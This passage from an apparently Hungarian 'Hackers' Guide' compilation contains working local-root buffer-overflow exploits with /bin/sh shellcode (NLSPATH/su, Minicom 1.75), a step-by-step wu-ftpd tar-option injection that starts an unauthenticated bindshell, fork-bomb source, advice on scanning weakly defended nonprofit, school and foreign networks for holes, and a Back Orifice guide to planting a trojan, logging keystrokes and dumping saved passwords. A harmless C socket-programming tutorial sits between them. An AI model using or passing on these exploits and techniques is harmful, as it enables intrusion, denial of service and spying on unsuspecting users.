buffer[bufsize - 1] = 0; setenv("NLSPATH", buffer, 1); execl("/bin/su", "/bin/su", NULL); } --- nlspath.c --- És a shellkód elválasztva: --- shellcode.s --- .text .globl shellcode shellcode: xorl %eax,%eax movb $0x31,%al int $0x80 xchgl %eax,%ebx xorl %eax,%eax movb $0x17,%al int $0x80 .byte 0x68 popl %ecx popl %eax jmp *%ecx call *%esp xorl %eax,%eax cltd movl %ecx,%edi movb $'/'-1,%al incl %eax scasb %es:(%edi),%al jne -3 movl %edi,(%ecx) movl %edx,4(%ecx) movl %edi,%ebx incl %eax scasb %es:(%edi),%al jne -3 movb %dl,-1(%edi) movb $0x0B,%al int $0x80 xorl %eax,%eax incl %eax xorl %ebx,%ebx int $0x80 .byte '/' .string "/bin/sh0"

74

Hackers’ Guide

Minicom 1.75 exploit: #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdarg.h> #define NOP 0x90 const char usage[] = "usage: %s stack-offset buffer-size argv0 argv1 ...\n"; extern code(); void dummy( void ) { extern lbl(); /* do "exec( "/bin/sh" ); exit(0)" */ __asm__( " code: xorl %edx, %edx pushl %edx jmp lbl start2: movl %esp, %ecx popl %ebx movb %edx, 0x7(%ebx) xorl %eax, %eax movb $0xB, %eax int $0x80 xorl %ebx, %ebx xorl %eax, %eax inc %eax int $0x80 lbl: call start2 .string \"/bin/sh\" "); } void Fatal( int rv, const char *fmt, ... ) { va_list vl; va_start( vl, fmt ); vfprintf( stderr, fmt, vl ); va_end( vl ); exit( rv ); } int main( int ac, char **av ) { int buff_addr; /* ahol a kódunk van */ int stack_offset = 0, buffer_size = 0, i, code_size;

75

Hackers’ Guide

char *buffer, *p; buff_addr = (int)(&buff_addr); /* lekéri a veremmutatót */ code_size = strlen( (char *)code ); /* lekéri a darab méretet */ /* kód a dummy()-ban */ if( ac < 5 ) Fatal( -1, usage, *av ); buff_addr -= strtol( av[ 1 ], NULL, 0 ); buffer_size = strtoul( av[ 2 ], NULL, 0 ); if( buffer_size < code_size + 4 ) Fatal( -1, "buffer is too short -- %d minimum.\n", code_size + 5); /* "ez támogatott, de még nincs kész" ;) */ if( (buffer = malloc( buffer_size )) == NULL ) Fatal( -1, "malloc(): %s\n", strerror( errno ) ); fprintf( stderr, "using buffer address 0x%8.8x\n", buff_addr ); for( i = buffer_size - 4; i > buffer_size / 2; i -= 4 ) *(int *)(buffer + i) = buff_addr; memset( buffer, NOP, buffer_size/2 ); i = (buffer_size - code_size - 4)/2; memcpy( buffer + i, (char *)code, code_size ); buffer[ buffer_size - 1 ] = '\0'; p = malloc( strlen( av[ ac - 1 ] ) + code_size + 1 ); if( !p ) Fatal( -1, "malloc(): %s\n", strerror( errno ) ); strcpy( p, av[ ac - 1 ] ); strcat( p, buffer ); av[ ac - 1 ] = p; execve( av[ 3 ], av + 3, NULL ); perror( "exec():" ); } A következõ könyvben több exploit lesz. Általános portok: Program/név Port discard 9 netstat 15 chargen 19 ftp 21 telnetd 23 smtp 25 rlp 39 bootp 67

76

Hackers’ Guide

fingerk 79 http 80 / 8080 military http 80 / 8080 / 5580 link 87 pop3 110 identd 113 nntp 119 newsk 144 execk 512 login 513 pkill 515 ktalk 517 ntalk 518 netwall 533 rmontior 560 montior 561 kerberos 750 Általános tenet parancsok: Parancs: Funkció: access Telnet account c Connect to a host cont Continue d Disconnect full Network echo half Terminal echo hangup Hangs up mail Mail set Select PAD parameters stat Show network port. Telemail Mail

Fordította: Thief_hu ************************************************************************************************ FTPCOVERSION bug

Néhány rosszul konfigutált ftp servernél müxik ez a bug (pl : wu-ftpd), amellyel root-ként tudsz különbözö parancsokat, programokat futtatni, ha az ftp-server rootként fut.

77

Hackers’ Guide

Ehhez kell egy könyvtár, ahová tudsz írni. Ha a server elég xarul van konfigurálva, anonymousként is lehet ilyen könyvtár. (pl :/pub,vagy /incoming)

A probléma forrása az,hogy ha a user egy file letöltésénél a filenévhez appendolja a .tar, .gz, .tar.gz, .Z kiterjesztést, az ftp-server on-the fly csomagolja a kért filet a kiterjesztésnek megfelelõ archiválóprogrammal. Ilyenkor a server egy pipe-ot nyit a megfelelõ binárissal (pl : /bin/tar), majd átküldi rajta az filet, ezután pedig a létrejött archív filet küldi el.

Nna...a tar parancsnak van egy kapcsolója, amellyen egy másik programot lehet indítani az archive tömörítéséhez:

tar -c --use-compress-program=[progname] [archivename]

Aki ezek után nem jönne rá a dolog lényegére,annak leírom lépésenként:

1. Készítessz egy file-t ,mondjuk a következõ névvel : --use-compress-program=hack.sh A file lehet akár tök üres is, mind1. 2. Készítessz egy másik file-t,ami ebben az esetben hack.sh lesz, ezt a shell-scriptet akarod futtatni (valószínüleg ftp userként :) .A tartalom pl:

#!/bin/sh bindshell

A bindshell egy olyan progi, amely egy porton egy shellt nyit minden autentikációs eljárás nélkül. Ezt töltsd majd, fordítsd le, aztán töltsd fel a serverre. A shell scriptünk ezt fogja futtatni... :)

3. Ezután a shell-scriptnek adsz execute permissiont, valahogy így:

chmod u+x hack.sh

4. Ok...megtörténtek az elkészületek... Most már csak az utolsó lépés van hátra. Beírod az ftp-kliensbe,hogy get "--use-compress-program=hack.sh".tar :)))) Ezután valószínüleg valamilyen error message-et kapunk... Ilyenkor ugyanis az történik,hogy az ftp-server meghívja a tar parancsot a /bin könyvtárból, valami ilyesmi formában:

tar -c --use-compress-program=hack.sh

Tehát a tar lefuttatja a kis scriptunket,ami az indító process UID jével fog futni... Tehát ha anonymousként tettük mindezt, akkor lesz egy ftp userrel futó shellünk...

Megelõzés: Tiltsd le az ftp conversions-t a /etc/ftpaccess -ben.

PS :A Bindshell.c forrás itt letölthetõ!

-The NmY Eredeti mü : neworder.box.sk

78

Hackers’ Guide

************************************************************************************************ Kernel bug

Felfedezés: A 2.0.x-es es 2.2.x-es kernelek egy még eddig nem igen ismert hibájat kihasznalva ez a program képes barmilyen linuxos rendszer kifagyasztasara sima user jogokkal. A program maga nagyon egyszeru, egymás után mindig egy külön processzbe önmagát hívja meg a program, a kernel ezt nem bírja és legtöbb esetben kernel paniccal elszáll.

Megoldás: Az ulimit programmal csökkentsük le egy user idíthato processzeinek szamat...

Forrás: /* * This is a simply fork bomber, what kill most of linux kernels. * The system will be very slow, and usually it will be kernel panic. * The bomber tested linux 2.2.x and 2.0.x kernels. At 2.0.x kernels it * aren't kernel panic, but the system will be die. * I hope it's working the new 2.4.x kernels... * * Please report to me, if u have any problem! * By _BLuE_ / [email protected] / * * P.S.: Sorry my fucking language, but my schoool is a big shit... */ main() { forking(); } forking() { if((fork())) forking(); else forking(); }

_BluE_ mailto: [email protected]

79

Hackers’ Guide

************************************************************************************************ WuFtpd trükk

Egy kis trükköt kihasználva megnézhetjük, hogy egy-egy user HOME directoryja hol helyezkedik el egy adott serveren. Szóval a lényeg, hogy rá FTP-zel az adott serverre, bejelentkezel (anonymousnál is müxik,ha ez le van tiltva, akkor ez nem jött be), majd beírod:

cd ~username (Természetesen a username behelyettesítendö) Na lássunk egy példát: ftp> cd ~root 550 /root: Permission denied.

Tesztelve : WU-FTP 2.6 WU-FTP 2.4 BETA ACADEMY

-The NmY Az eredeti mü a neworder.box.sk-n elérhetö ************************************************************************************************ PING -R : kernel panic

Richard Bouska [[email protected]] A patch: diff -ur ../vger-990630/linux/net/ipv4/route.c linux/net/ipv4/route.c --- ../vger-990630/linux/net/ipv4/route.c Wed Jun 30 22:22:32 1999 +++ linux/net/ipv4/route.c Tue Jul 13 17:00:52 1999 @@ -957,7 +957,7 @@ if (rt->key.iif == 0) src = rt->rt_src; - else if (fib_lookup(&rt->key, &res) == 0) + else if (fib_lookup(&rt->key, &res) == 0 && res.type != RTN_NAT) src = FIB_RES_PREFSRC(res); else

80

Hackers’ Guide

src = inet_select_addr(rt->u.dst.dev, rt->rt_gateway, RT_SCOPE_UNIVERSE); A hiba korulirasa: Firewall, NAT-al. 2.25 es 2.2.10 -es kernel (mas verzion nem tesztelt) ping -R valos ip-rol ping -R NATolt geprol A kovetkezmeny: kernel panic -- Kis-Szabo Andras Technical University of Budapest -----------------------------/ Schonherz Zoltan Dormitory [email protected] /-------------------------------3OO---- ************************************************************************************************ Hálozati Programozás C nyelven

1. Bevezető 2. SOCKET-ek különböző típusai 3. Rekordok 4. Átváltások 5. IP címek 6. Fontos függvények 6.1. socket() 6.2. bind() 6.3. connect() 6.4. listen() 6.5. accept() 6.6. send() 6.7. recv() 6.8. sendto() 6.9. recvfrom() 6.10. close() 6.11. shutdown() 6.12. gethostname() 7. Néhány szó a DNS-ről 8. Stream server példa 9. Stream client példa 10. Szerzői jogok

81

Hackers’ Guide

1. Bevezető Ha úgy gondolog, nehéz a hálozati programozás, akkor olvasd el ezt a dokumentásiót és máris lesz néhány alap gondolatod, a hálozatról és annak programozásáról.

2. SOCKETEK különböző típusai Mielött belevágnánk az érdemi munkába, jó ha tisztában vagy mifélék azok a SOCKET-ek. Egy egy módszer aminek segítségével könnyedén kommunikálhatunk más számítógéppel. A soceketek is alap I/O műveleteken alapúlnak, mint a Unix klónok (Linux, SunOS, Free BSD) Két fő fajtája - Stream Socket (SOCK_STREAM) és Datagram Socket (SOCK_DGRAM). Mi is a különbség a Stream Socket és a Datagram Socket között? Hát olvasd el lejebb:

• Stream Sockets - ez hiba mentes; sorra küldi az adatokat "A, B, C" és ugyan abban a sorrenben érkeznek meg "A, B, C" ehet a TCP ("Transmission Control Protocol") protokollt használja fel. Itt minden csomag megérkezésére jön megerősítés, ha nem akkor újra küldi a csomagot.

• Datagram Sockets - ez a kezelési módot az UDP ("User Datagram Protocol") használja. Kapcsolat mentes, nem épül ki a server és a kliens között tényleges kapcsolat mint a TCP-n, az elküldött adatok megérkezésérűl sem érkezik válasz.

Azt hiszem ennyi elég is nem kell részletekbe menően ismerni a protokollt, de ha jobban bele akarsz folyni, akkor talán egy következő dokumentumban megtalálod. 3. Rekordok Nem akarom elmesélni, hogyan is működnek a rekordok, hanem egyszeűen leírom a rekordok felépítését. Így könnyebb lesz értelmezni a rekordok mibenlétét. A rekordok az adatok tárolására szükséges a hálózati programozásban. Az első rekord a struct sockaddr, ez a socketrol tartalmaz információkat. struct sockaddr{ unsigned short sa_family; // address family char sa_data[14]; // 14 bytes of protocol address }; Van egy másik rekord is ez a struct sockaddr_in ami segít a socket részeinek leírására. struct sockaddr_in { short int sin_family; // address family unsigned short int sin_port; // Port struct in_addr sin_addr; // internet cím unsigned char sin_zero[8]; // nem használt nullázni kell }; Megjegyzés: sin_zero mindig állítsad 0-ra ugyanis ezt nem szokás használni, ehhez a memset() illetve a bzero() függvényt használhatod, a forrmáskódabn a használatát is megfigyelheted. A következő rekord nem annyira használt de ez union típusú. Erre láthatsz példát a 8. és 9. pontban lévő forrában. struct in_addr { unsigned long s_addr; }; És végezetűl a struct hostent amely a serverről tartalmaz információkat, ezt a gethostbyname() függvényel töltheted fel adatokkal.

82

Hackers’ Guide

struct hostent { char *h_name; // server neve char **h_aliases; // Alias list int h_addrtype; // server címének cípusa int h_length; // cím hossza char **h_addr_list; // szerver lista neveinek listája #define h_addr h_addr_list[0] // ez csak a kompatibilitás miatt kell }; Ez a rekord a netdb.h fejlécfájlban találhatü. Fontos, hogy ezekkel tisztában legyünk, de amint nekilátunk a programozásnak és dolgozunk, egyre jobban ráérzünk majd annak egyszerűségére, a látvány ne tévesszen meg! 4. Átvaltások Két típusa van a bájtok sorrendiségének: most significant byte és least significant byte.

• Host Byte Order - ez a te géped számábrázolója.

• Network Byte Order - ez a másik számítógép számábrázolása. A gondot okozó formát "Network Byte Order"-nek hívják. (néhány gép Network Byte Order a formában ábrázolja a számokat és ezeket bizony konvertálnunk kell). Két típus van amit tudsz konvertálni a: short és long. Ha kovertálni akarsz egy long típusú változót ami Host Byte Order formában van Network Byte Order formába, akkor mit tudsz tenni? Erre használható a honl() függvény. Hogy ezt ne kelljen találgatni itt van a használható kovertáló föggvények listája:

• htons() -> "Host to Network Short"

• htonl() -> "Host to Network Long"

• ntohs() -> "Network to Host Short"

• ntohl() -> "Network to Host Long" Most biztosan arra gondolsz minek is ez neked, de amire végigérsz ezen addigra minden érthető és világos lesz. Fontos dolog, hogy a sin_addr és sin_port (a struct sockaddr_in rekordból) Network Byte Order-ben kell lennie (később lesz rá példais, hogy megértsed hogyan is kell használni). 5. IP címek A C-be adottak függvények amejek segítségével tudjuk az IP címeket mmódosítani, maipulálni. Ezek a inet_addr() és inet_ntoa() függvények. inet_addr() az IP címet unsigned long típusú változóvá átalakítja. (...) dest.sin_addr.s_addr = inet_addr("195.65.36.12"); (...) //a dest egy sockaddr_in típusú rekord

83

Hackers’ Guide

inet_ntoa() az IP címet long típusú vltozóvá átalakítja. (...) char *IP; ip=inet_ntoa(dest.sin_addr); printf("Address is: %s\n",ip); (...) Az inet_addr() függvlény visszatérésként a címet Network Byte Order-ben adja vissza, ezért nem kell rá alkalmazni a htonl() függvényt. 6. Fontos függvények Ebben a részben feltüntetem a függvények szintaxisát és a include fájlokat amelyek szükségesek a használatukhoz és egy kis információt is adók róluk.

6.1. socket() #include #include int socket(int domain,int type,int protocol); Lássuk a paramétereket:

• domain -> AF_INET-et kell írnod, ah internetes kommunikációt akarsz beállítani AF_UNIX-et ha csak a hálozaton belüli kommunikációt akarsz ez a kettő a legtöbbet hsznált ezért csak ezeket sorolom fel

• type -> itt adhatod meg a socket típusát (Stream vagy Datagram) Ha Stream Socket-et akarsz akkor SOCK_STREAM-et kell írnod Ha Datagram Socket-et akarsz akkor SOCK_DGRAM-et kell írnod

• protocol -> egyszerűen csak 0 socket() egy kezelőszámot (leírót) ad vissza mait a következőkben a többi függvénynél használhatsz fel, ha hiba történt, akkor a visszatérési érték -1. 6.2. bind() #include #include int bind(int fd, struct sockaddr *my_addr,int addrlen); Lássuk a paramétereket:

• fd -> a socket leíróis amit a socket() meghívásakor kaptál

• my_addr -> egy mutato struct sockaddr rekordra

• addrlen -> egyszerűen csak ezt írjad sizeof(struct sockaddr), a mérete a struct sockaddr rekordnak

84

Hackers’ Guide

bind() egy szerverhez csatlakozásnál használjuk amit előzőleg a listn()-el nyitottak meg, hiba esetén -1-et kapunk Ha nem akarod kitölteni megteheted ezt ugyis, hogya rendzsretoltse ki automatikusan: server.sin_port = 0; // bind() véletlen protot választ ki server.sin_addr.s_addr = INADDR_ANY; // a szerver IP címet helyezi el alapból Fontos, hogy olyan protot válassz ami 1024 és 65535 között van, mert az 1024 alattiakat bizosan használa valmijen szolgáltatás! 6.3. connect() #include #include int connect(int fd, struct sockaddr *serv_addr, int addrlen); Lássuk a paramétereket:

• fd -> a socket leíróis amit a socket() meghívásakor kaptál

• serv_addr -> mutató struct sockaddr-hoz, mai tartalmazz az IP címet és a portot

• addrlen -> egyszerűen csak ezt írjad sizeof(struct sockaddr), a mérete a struct sockaddr rekordnak

connect() csatlakozás egy IP cím által mutatott gép adott portjára, hiba esetén a visszatérési érték -1. 6.4. listen() #include #include int listen(int fd,int backlog); Lássuk a paramétereket:

• fd -> a socket leíróis amit a socket() meghívásakor kaptál

• backlog -> a maximális kapcsolatok száma listen()-el lehet egy portot megnyitni és fogadni a klinesek csatlakozását a portra, de mielőtt ezt megtennénk, elötte bind() függvényel a socetet hozzá kel kötni a porthoz, ezek után kell a az accept() függvény is. A függvények potos sorrendi meghívása a küvetkező:

1. socket()

2. bind()

3. listen()

4. accept() listen() visszatérési értéke hiba esetén -1. 6.5. accept() #include

85

Hackers’ Guide

int accept(int fd, void *addr, int *addrlen); Lássuk a paramétereket:

• fd -> a socket leíróis amit a socket() meghívásakor kaptál

• addr -> egy mutató a struct sockaddr_in rekordra, amelyben tárolva van a port amit elfogadunk.

• addrlen -> egyszerűen csak ezt írjad sizeof(struct sockaddr_in), a mérete a struct sockaddr_in rekordnak

Ha valaki csatlakozni akar, akkor meg kell híívnunk a az acept() függvényt, hogy fel- épüljön a folyamat. Annyira nem is bonyorúlt, de azért itt egy kis példa, mert ez a többihez képest komplikáltabb a megírása :)) (...) sin_size=sizeof(struct sockaddr_in); if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){ printf("accept() error\n"); exit(-1); } (...) az fd2-t lehet használni arra, hogy írjunk illetve olvassunk (send() és recv() függvények). 6.6. send() int send(int fd,const void *msg,int len,int flags); Lássuk a paramétereket:

• fd -> a socket leíró, ahova külédeni akarunk

• msg -> mutató az adatra amit el akarunk küldeni

• len -> az elküldendő adatok hossza byteban

• flags -> az érték lenyen 0 Ez a függvény a Stream Sockets adatküldésére lehet használni, Datagram Sockets adatainak küldésére a sendto() függvényt kell használni. A send() visszatérési értéke a küldött bájtok száma vagy hiba esetén -1. 6.7. recv() int recv(int fd, void *buf, int len, unsigned int flags); Lássuk a paramétereket:

• fd -> a socket leíró, amiről olvasni akarunk

• buf -> a buffer amibe be akarunk olvasni

• len -> a buffer maximális mérete

• flags -> az értéke legyen 0 Ez a függvény a Stream Socketek adatainak fogadására lehet használni, a Datagram Socketek adatainak ogadására a recvfrom() függvényt használjad. recv() a visszatérési értéke a fogadott bájtok száma vagy hiab esetén -1 on. 6.8. sendto() int sendto(int fd,const void *msg, int len, unsigned int flags, const struct sockaddr *to, int tolen);

86

Hackers’ Guide

Lássuk a paramétereket: • fd -> ugyan az mint a send()-nél

• msg -> ugyan az mint a send()-nél

• len -> ugyan az mint a send()-nél

• flags -> ugyan az mint a send()-nél

• to -> mutató a struct sockaddr-hoz

• tolen -> állítsad be a méretét így sizeof(struct sockaddr) sendto() ezt a kapcsolatmentes Datagram Socketeknél használják általában. A visszatérési értéke az elküldött byte száma vagy hiba esetén -1. 6.9. recvfrom() int recvfrom(int fd,void *buf, int len, unsigned int flags struct sockaddr *from, int *fromlen); Lássuk a paramétereket:

• fd -> ugyan az mint a recv()-nél

• buf -> ugyan az mint a recv()-nél

• len -> ugyan az mint a recv()-nél

• flags -> ugyan az mint a recv()-nél

• from -> mutató a struct sockaddr-hoz

• fromlen -> a mérete a rekordnak, amit definiáltun erre használd sizeof(struct sockaddr)

recvfrom() vissza adja a fogadott bájtok számát vagy ha hiba történt akkor -1. 6.10. close() close(fd); close() függvény segítségével lezárhatjuk a socket-et. A meghívása után a socketra nem lehet írni és nem lehet olvasni. 6.11. shutdown() int shutdown(int fd, int how); Lássuk a paramétereket:

• fd -> az a soket leíro, amelyiket leakarjuk állítani

• how -> a következő értékeket adhatod meg: 0 -> fogadás tiltása 1 -> küldés tiltása 2 -> küldés és fogadás tiltása

Ha 2 az értéke how-nak, akkor olyan mint ha a close() függvényt használnánk. shutdown() a visszatérési érték 0 ha sikerűlt, -1 ha hiba történt. 6.12. gethostname() #include

87

Hackers’ Guide

int gethostname(char *hostname, size_t size); Lássuk a paramétereket:

• hostname -> iegy mutató arra a karakterláncra amiben a nevet tároljuk

• size -> a hossza byte-ban gethostname() arra használjuk, hogy megtudjuk a lokális gép nevét. 7. Néhány szó a DNS-ről Ennek a rövid irásnak az ok a DNS (Domain Name Service), hiszen ha számokat kellene megjegyeznünk, az elég nehéz dolog lenne, ezért kitalálták a DNS-t. Ez minden IP címhez hozzáköt egy nevet ha regisztrálják. Később ezt a nevet (DNS) bizonyos NS name serverekben utána lehet nézni, vajh mi is az IP címe. Erre használható a gethostbyname() függvény. Ez a bagyon fontos, hiszen a (például a bind() és connect() föggvény) csak IP címet lehet megadni! #include #include // ez a fejléc fájl szükséges a gethostbyname() függvényyhez #include #include #include int main(int argc, char *argv[]) { struct hostent *he; if (argc!=2){ printf("Usage: %s \n",argv[0]); exit(-1); } if ((he=gethostbyname(argv[1]))==NULL){ printf("gethostbyname() error\n"); exit(-1); } printf("Hostname : %s\n",he->h_name); // mutató a hostname-hoz printf("IP Address: %s\n",inet_ntoa(*((struct in_addr *)he->h_addr))); // kiirja az IP címet } 8. Stream server példa #include // a szükséges fejlécek #include #include #include #define PORT 3550 // a port amit megakarunk nyitni

88

Hackers’ Guide

#define BACKLOG 2 // a maximális kliensek száma main() { int fd, fd2; // fájl lerók struct sockaddr_in server; // szerver információk struct sockaddr_in client; // klines információk int sin_size; if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ){ printf("socket() error\n"); exit(-1); } server.sin_family = AF_INET; server.sin_port = htons(PORT); // emlékezz a htons() függvényre server.sin_addr.s_addr = INADDR_ANY; // INADDR_ANY a te címed kerül bele autómatikusan bzero(&(server.sin_zero),8); // nullázzuk if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){ printf("bind() error\n"); exit(-1); } if(listen(fd,BACKLOG) == -1){ printf("listen() error\n"); exit(-1); } while(1){ sin_size=sizeof(struct sockaddr_in); if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){ printf("accept() error\n"); exit(-1); } printf("You got a connection from %s\n",inet_ntoa(client.sin_addr) ); // kiiratjuk a kliens IP címét send(fd2,"Welcome to my server.\n",22,0); // köszöntőüzenet elküldése close(fd2); // lezárjuk }

89

Hackers’ Guide

} 9. Stream client példa #include #include #include #include #include // netbd.h a struct hostent rekordhoz szükséges #define PORT 3550 // a server portja mire csatlakozunk #define MAXDATASIZE 100 // maximális mérete az adatnak int main(int argc, char *argv[]){ int fd, numbytes; // fájleíró char buf[MAXDATASIZE]; // ebben tároljuk a fogadott üzenetet struct hostent *he; // ez a rekord fog információkat tartalmazni a serverről struct sockaddr_in server; // server címének információi if (argc !=2) { // azért kell, mert bemenetnek meg kell adni a server IP címét printf("Usage: %s <IP Address>\n",argv[0]); exit(-1); } if ((he=gethostbyname(argv[1]))==NULL){ printf("gethostbyname() error\n"); exit(-1); } if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){ printf("socket() error\n"); exit(-1); } server.sin_family = AF_INET; server.sin_port = htons(PORT); // htons()-ra ismét szükségvan server.sin_addr = *((struct in_addr *)he->h_addr); // átadjuk a he-bol a server címet bzero(&(server.sin_zero),8); if(connect(fd, (struct sockaddr *)&server,sizeof(struct sockaddr))==-1){ printf("connect() error\n"); exit(-1); } if ((numbytes=recv(fd,buf,MAXDATASIZE,0)) == -1){ printf("recv() error\n"); exit(-1); }

90

Hackers’ Guide

buf[numbytes]='\0'; printf("Server Message: %s\n",buf); // kirja a server köszöntő üzenetét close(fd); // lezárja fd-t } 10. Szerzői jogok BracaMan-nak ([email protected],http://www.BracaMan.net) a dokumentációjáért KUMM-nak a www.prog.hu-s dokumentációjáértr Brian "Beej" Hall -Beej's Guide to Network Programming dokumentációjáért Vic Metcalfe, Andrew Gierth - Programming UNIX Sockets in C - dokumentációjáért

2001. 03. 11. - Scr34m - [email protected] ************************************************************************************************ SAINT A cikk *CSUPÁN* ismertetõ célból készült, a következményekért a felelõség a TIED!! ÉTVÁGY-GERJESZTÕ:

A SAINT nem más, mint egy remote host-security-scanner program (Security Administrator's Integrated Network Tool), ami képes arra, hogy saját, vagy más gépét vizsgáld meg biztonságtechnikai szempontokból. Tehát része egy adatbázis, valamint keresési szabályok, amelyek szerint eldönti, hogy az adott gépen van-e olyan biztonsági lyuk, melyet a jelenleg "forgalomban lévõ" eszközökkel ki lehetne használni. Felmerül a kérdés, hogy mennyire biztonságos mások gépét vizsgálgatni... Nos, ez 100%-ra biztonságos, semmilyen törvény sem tiltja, tehát ez önmagában még nem bûncselekmény. Magadra nézve csak akkor lehet veszélyes, ha esetleg sikerült pl. root jogot szerezni az elõzõleg scannelt gépen, mert ilyenkor (ha van esze) a rendszergazda azért végignyálazza a logokat és ha talál valami számára gyanusat, akkor arra (azért ez nem mindig biztos...) kegyetlenül rászáll. Felülete igényes, HTML alapú (!), így kezelése semmilyen gondot nem okozhat.

A TELEPÍTÉSRÕL:

A cikk írásakor a legfrissebb a 2.0.2.beta2 verzió volt (www.wwdsi.com-ról letölthetõ), ami az elõzõekhez képest sokat fejlõdött, pl. a befordításnál sem akad már ki. Miután megvan a telepíteni kívánt verzió csak ki kell tömörítened egy könyvtárba. Utánna:

91

Hackers’ Guide

perl reconfig; ./configure (milyen meglepõ;); make [os_type], ahol os_type az Oprendszer, amin használni fogod, Linux Debian esetében ez linux-new. Természetesen lehetõség van a finomabb beállítások manipulására is, ezek a ~/config könyvtárban találhatók. A böngészõ típusát (amivel elemezheted majd a HTML-be ágyazott erdeményeket) a ~/config/paths.pl $MOSAIC változó takarja. So...Let' rock!;)

AMIT ÉRDEMES TUDNI:

Igen. Ez az eszköz maga a megtestesült egyszerûség és korrektség. Baloldalt menü, ahol a Tutorial file-októl a részletes beállításokon keresztül, egészen a scannelésig, mindent elérhetünk. Ám mielõtt mindenkit elbódítana a "Szent" illata, nem árt, ha pár dologra figyelsz. Tapasztalataim alapján: Ha egy host scannelése után semmilyen eredményt nem látsz, akkor az valószínüleg tûzfal mögé van dugva...Itt ajánlanám mindenki figyelmébe a Firewall Support opciót a cél kiválasztásakor, így már több az esély, hogy kiderül pár disznóság "odaátról". Ugyanez a hibajelenség fordul elõ akkor, amikor a result-file-ok mérete többszáz KB-ra hízik. Ilyenkor érdemes új adatbázist létrehozni, a Data Management-ben, vagy a nagyobb host-csoportok scannelesere eleve újat készíteni. A program elviseli, ha clone-jai is futnak, így a keresési hatékonyság többszörösére növelhetõ. Fõleg, mivel egy példány futása max. 180byte/sec sávszélt foglal el, így akár tíz is futhat, miközben boldogan szörfözöl! Amit javaslok: Ha nincs konkrét célod amit megvizsgálj, jelöld ki nyugodtan alhálok csoportjait. Egyetlen host vizsgálata kb. 2-3 perc, így egy C osztályú alháló teljes felderítése (olyan nagyon ritkán van, hogy minden egyes IP-hez tartozik gép...) max. 12,7 óra.

ÖTLETEK-TIPPEK:

Amit eddig leírtam, az mind szép és jó, de senki se kezdjen el ezek után agyba-fõbe nyomkodni a "Scan" gombra :) Inkább állíts fel keresési stratégiát olyan hostok között, melyek közül valószínüleg sok fent fog akadni. Milyen gépeken is érdmes próbálkozni? Az "olcsó húsnak híg a leve" mondás után szabadon valószínüleg már mindenki rájött. Ebból alapvetõen két stratégiát lehet levezetni:

1. Olyan gép keresése, mely biztonságára keveset szánnak (manapság ki az az õrült, aki pár fityingért napjában többször is megnézi a rendszerére vonatkozó friss BugTraq-eket, majd a felmerülõ hibákat orvosolja??). Ezek általában a non-profit szervezetek, hisz bevételük így is (viszonylag) elég szerény, inkább örülnek, hogy megy a server és valahogy hirdetni tudják magukat -> AltavIsta Search: url: .org :) Szintén ehhez a stratégiához tartoznak az oktatási intézmények, az ilyen rendszergazdák többsége szintén nem erõlteti meg magát, néhány *HATALMAS* hiba még mindig van a *.sulinet.hu gépeken... -> AltaVista Search: url: .edu vagy .ac.jp ;)

2. Azon országok nagyító alá vetése, ahol a szakemberképzés még mindig problémás. Ilyenek a balkán országai (bár a felzárkozódás üteme elég gyors, ennek ellenére a hiányosságok még mindig elképesztõk), vagy az apró, szinte épp hogy létezõ országok, szigetek. A mazsolázáshoz ajánlom aNemzeti domainekcikket.

A VÉGÉRE...

92

Hackers’ Guide

Remélem sokak érdeklõdését felkeltettem, de senki se gondolja, hogy a "Szent" majd mindent megold és bárkibõl "Superman" lesz! A SAINT pusztán feltárja a problémák nagyját, ám a teljes felderítéshez elengedhetetlen más eszközök használata is, de a "piszkos munka" nagy részét tökéletesen elvégzi. Különben is: mi öröm lenne abban, ha csak egy programot kéne ráereszteni a célhostra!?? Ettõl szép. Nem? :) ************************************************************************************************

Windows Back Orifice A BO egy olyan trójai program, amit egy Win95/98 felhasználónak elküldve teljeskörű hozzáférést kapunk az illetô gépéhez: turkálhatunk a winchesterén, loggolhatjuk a billentyűzetleütéseit, resetelhetjük a gépét, stb. Az alábbiakban egy kis segítséget olvashattok a használatához. A BO letölthetô a www.cultdeadcow.com címrôl. File-ok: BOGUI.EXE - grafikus kezelô (Te indíthatod el, s itt adhatod ki a parancsokat) BOCLIENT.EXE - karakteres kezelô (szintén...) BOCONFIG.EXE - default port, alapértelmezett plug-in-ok, jelszó beállítása (A server elküldése elött kell!) BOSERV.EXE - ezt NE indítsd el, ezt kell az áldozatnak elküldeni FREEZE.EXE - tömörítô MELT.EXE - kibontó

Back Orifice Parancsok (a teljesség igénye nélkül...) - App add Paraméterei: elindítandó file elérési útvonala és neve , port Hatása: a megadott porton telnettel csatlakozva az illetô hostjához, az adott program indul el. Érdemes például a C:\COMMAND.COM-ot választani, így csatlakozás után a DOS promptban találjuk magunkat. Grafikus módban futó programok nem indíthatóak el. - App del Paraméterei: App ID Hatása: a paraméterben megadott ID-jű portot bezárja, és törli a listából. - Apps list Hatása: kilistázza az elôzôleg megnyitott portokat az elinduló programok elérési útvonalával, és az ID-t amivel rájuk lehet hivatkozni. - HTTP disable

93

Hackers’ Guide

Hatása: deaktiválja a HTTP-t. - HTTP enable Paraméterei: port , gyökérkönyvtár elérési útja (elhagyható) Hatása: az adott porton keresztľl böngészôvel láthatóak az áldozat adattárolói. A kereséshez érdemes Netscape Navigátort használni, mert Internet Explorerrel kattintva a könyvtárnevekre a saját winchesterünkön fogja az keresni a könyvtárt, továbbá az upload sem működik rendesen. A host megadása a HTTP://[IP cím]:[port]/ szintaxis szerint működik. - Keylog begin Paraméterei: filenév Hatása: a megadott file-ba elmenti az összes leütött billentyűt, és az ablak nevét, ahol a gombnyomás megtörtént. - Keylog end Hatása: kikapcsolja a billentyük loggolását. - Ping host Hatása: Ezzel nézhetô meg, hogy "lát-e minket" a host. Visszatér a gép nevével és a rajta futó BO verziószámával. - Plugin execute Hatása: elindít egy megadott plugint - Plugin kill Hatása: leállítja a megadott plugint - Plugins list Hatása: kiírja a használatban lévô pluginokat - Process kill Hatása: leállítja az illetô egy alkalmazását - Process list Hatása: kiírja az aktív alkalmazásokat, és egy számot, amivel hivatkozni lehet rájuk - System info Hatása: infokat ad az illetô gépérôl - System passwords Hatása: kiírja a mentett jelszavakat (pl. Internet elérés 